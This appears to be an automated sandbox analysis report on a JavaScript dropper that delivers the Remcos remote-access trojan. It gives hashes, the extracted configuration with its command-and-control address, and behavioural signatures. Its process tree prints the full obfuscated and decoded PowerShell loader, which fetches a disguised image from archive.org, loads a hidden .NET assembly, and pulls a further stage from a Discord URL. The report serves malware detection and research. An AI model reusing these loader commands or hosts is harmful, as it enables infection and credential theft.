Analysis
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max time kernel
147s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
05-09-2024 14:25
Static task
static1
Behavioral task
behavioral1
Sample
INQUIRY#46789-SEPT24.js
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
INQUIRY#46789-SEPT24.js
Resource
win10v2004-20240802-en
General
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Target
INQUIRY#46789-SEPT24.js
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Size
598KB
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MD5
c8b12fea7ec0d77f7eadb64361e5468a
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SHA1
f519767ce53d69819384afc7d545f3c5940ae717
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SHA256
337aa8b9b2cdaca9eae51830b6ccc6040339a93f3dd0f1946ffb0a697e4a9bb9
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SHA512
9b52cb572f6fdbb1c66ac582e41d2ed8fef9130e311f9b8b2429197c6c0ba7ab3776c5ca2d3140aee6a74ec79d824b0d8410a7b3f4469cf6b07435a89d554542
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SSDEEP
12288:SjoTUozZchVveIdNgwQrzQ6EFwg8VfEkNmDDjHO28gKMaNUeRWoTqLzBFdkVVM4X:QwJc8Fl2WI4T8LG
Malware Config
Extracted
https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg
https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg
Extracted
remcos
AUG
64.188.18.85:4455
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
xlorers.exe
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copy_folder
xlorers
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-R2Z38E
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
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Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral2/memory/1132-47-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/4560-48-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/1196-45-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral2/memory/4560-48-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral2/memory/1132-47-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Blocklisted process makes network request 2 IoCs
flow pid Process 8 4264 powershell.exe 19 4264 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2556 powershell.exe 4264 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation wscript.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts AddInProcess32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\rizografia.js" powershell.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4264 set thread context of 4712 4264 powershell.exe 96 PID 4712 set thread context of 1132 4712 AddInProcess32.exe 98 PID 4712 set thread context of 4560 4712 AddInProcess32.exe 101 PID 4712 set thread context of 1196 4712 AddInProcess32.exe 102 -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 2556 powershell.exe 2556 powershell.exe 4264 powershell.exe 4264 powershell.exe 1132 AddInProcess32.exe 1132 AddInProcess32.exe 1196 AddInProcess32.exe 1196 AddInProcess32.exe 1132 AddInProcess32.exe 1132 AddInProcess32.exe -
Suspicious behavior: MapViewOfSection 5 IoCs
pid Process 4712 AddInProcess32.exe 4712 AddInProcess32.exe 4712 AddInProcess32.exe 4712 AddInProcess32.exe 4712 AddInProcess32.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2556 powershell.exe Token: SeDebugPrivilege 4264 powershell.exe Token: SeDebugPrivilege 1196 AddInProcess32.exe -
Suspicious use of WriteProcessMemory 36 IoCs
description pid Process procid_target PID 4952 wrote to memory of 2556 4952 wscript.exe 83 PID 4952 wrote to memory of 2556 4952 wscript.exe 83 PID 2556 wrote to memory of 4264 2556 powershell.exe 87 PID 2556 wrote to memory of 4264 2556 powershell.exe 87 PID 4264 wrote to memory of 2420 4264 powershell.exe 94 PID 4264 wrote to memory of 2420 4264 powershell.exe 94 PID 4264 wrote to memory of 4712 4264 powershell.exe 96 PID 4264 wrote to memory of 4712 4264 powershell.exe 96 PID 4264 wrote to memory of 4712 4264 powershell.exe 96 PID 4264 wrote to memory of 4712 4264 powershell.exe 96 PID 4264 wrote to memory of 4712 4264 powershell.exe 96 PID 4264 wrote to memory of 4712 4264 powershell.exe 96 PID 4264 wrote to memory of 4712 4264 powershell.exe 96 PID 4264 wrote to memory of 4712 4264 powershell.exe 96 PID 4264 wrote to memory of 4712 4264 powershell.exe 96 PID 4264 wrote to memory of 4712 4264 powershell.exe 96 PID 4264 wrote to memory of 4712 4264 powershell.exe 96 PID 4264 wrote to memory of 4712 4264 powershell.exe 96 PID 4712 wrote to memory of 1132 4712 AddInProcess32.exe 98 PID 4712 wrote to memory of 1132 4712 AddInProcess32.exe 98 PID 4712 wrote to memory of 1132 4712 AddInProcess32.exe 98 PID 4712 wrote to memory of 1132 4712 AddInProcess32.exe 98 PID 4712 wrote to memory of 1340 4712 AddInProcess32.exe 99 PID 4712 wrote to memory of 1340 4712 AddInProcess32.exe 99 PID 4712 wrote to memory of 1340 4712 AddInProcess32.exe 99 PID 4712 wrote to memory of 2436 4712 AddInProcess32.exe 100 PID 4712 wrote to memory of 2436 4712 AddInProcess32.exe 100 PID 4712 wrote to memory of 2436 4712 AddInProcess32.exe 100 PID 4712 wrote to memory of 4560 4712 AddInProcess32.exe 101 PID 4712 wrote to memory of 4560 4712 AddInProcess32.exe 101 PID 4712 wrote to memory of 4560 4712 AddInProcess32.exe 101 PID 4712 wrote to memory of 4560 4712 AddInProcess32.exe 101 PID 4712 wrote to memory of 1196 4712 AddInProcess32.exe 102 PID 4712 wrote to memory of 1196 4712 AddInProcess32.exe 102 PID 4712 wrote to memory of 1196 4712 AddInProcess32.exe 102 PID 4712 wrote to memory of 1196 4712 AddInProcess32.exe 102
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\INQUIRY#46789-SEPT24.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4952 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AaQBhADYAMAAxADYAMAA2AC4AdQBzAC4AYQByAGMAaABpAHYAZQAuAG8AcgBnAC8AMQAwAC8AaQB0AGUAbQBzAC8AZABlAGEAdABoAG4AbwB0AGUAXwAyADAAMgA0ADAANwAvAGQAZQBhAHQAaABuAG8AdABlAC4AagBwAGcAJwA7ACQAdwBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIAAkAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGkAbQBhAGcAZQBVAHIAbAApADsAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACQAcwB0AGEAcgB0AEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGUAbgBkAEYAbABhAGcAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAApADsAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQAnACkAOwAkAG0AZQB0AGgAbwBkACAAPQAgACQAdAB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBWAEEASQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwAmADYANgBjAGUANAAyADQANQA5ADgAYgAxADIAZAAwAGYAZAA3AGYANwBjADkAMwA3ADUAYQBlADgANwBmADIANwAzADYAMAAzADUANAA5ADEANgBkADEAYgAyADEAZAA4AGUAMgBhAGYAZAA1ADcAYwBiADMAMAAxAGIAOAA0ADQAPQBtAGgAJgAyADIANABkADgAZAA2ADYAPQBzAGkAJgAyAGEANQAyAGEAZAA2ADYAPQB4AGUAPwB0AHgAdAAuAGkAcABhAHAALwA1ADgAOAA2ADUAMgA3ADgANwAzADUAMwA2ADAAMAAxADgAMgAxAC8AMgAyADgANgA5ADMANgA3ADkAOQA5ADQANgAyADgAMAA4ADIAMQAvAHMAdABuAGUAbQBoAGMAYQB0AHQAYQAvAG0AbwBjAC4AcABwAGEAZAByAG8AYwBzAGkAZAAuAG4AZABjAC8ALwA6AHMAcAB0AHQAaAAnACAALAAgACcAMQAnACAALAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAJwAgACwAIAAnAHIAaQB6AG8AZwByAGEAZgBpAGEAJwAsACcAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMAMwAyACcALAAnAGQAZQBzAGEAdABpAHYAYQBkAG8AJwApACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2556 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('&66ce424598b12d0fd7f7c9375ae87f27360354916d1b21d8e2afd57cb301b844=mh&224d8d66=si&2a52ad66=xe?txt.ipap/5886527873536001821/2286936799946280821/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , '1' , 'C:\ProgramData\' , 'rizografia','AddInProcess32','desativado'))"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4264 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\rizografia.js"4⤵PID:2420
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4712 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\xegwneznboidzgrokpuxctqfxiskhpv"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:1132
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\hylooxkhpwaijunsbahqnylofxjlaamwth"5⤵PID:1340
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\hylooxkhpwaijunsbahqnylofxjlaamwth"5⤵PID:2436
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\hylooxkhpwaijunsbahqnylofxjlaamwth"5⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:4560
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe /stext "C:\Users\Admin\AppData\Local\Temp\kbrhop"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1196
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
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Filesize
64B
MD51a11402783a8686e08f8fa987dd07bca
SHA1580df3865059f4e2d8be10644590317336d146ce
SHA2569b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0
SHA5125f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
4KB
MD5faaa2b16df1bfc1a3792faaa35786349
SHA1359534a59d7c5139ae205c24533ba60afdfb9f3f
SHA2563586befc3b8b4da223e2ee0dcb00965ba5c0a205c14f2acefdeec7e46efddd5a
SHA5122fbc79cace52a58e69ab983d034bb41ebb2496f767e18e5e4b31eefc4447c935d8614f744c71302e459350a05562fadc4c2355d76638b595e7cff1bb3d1618db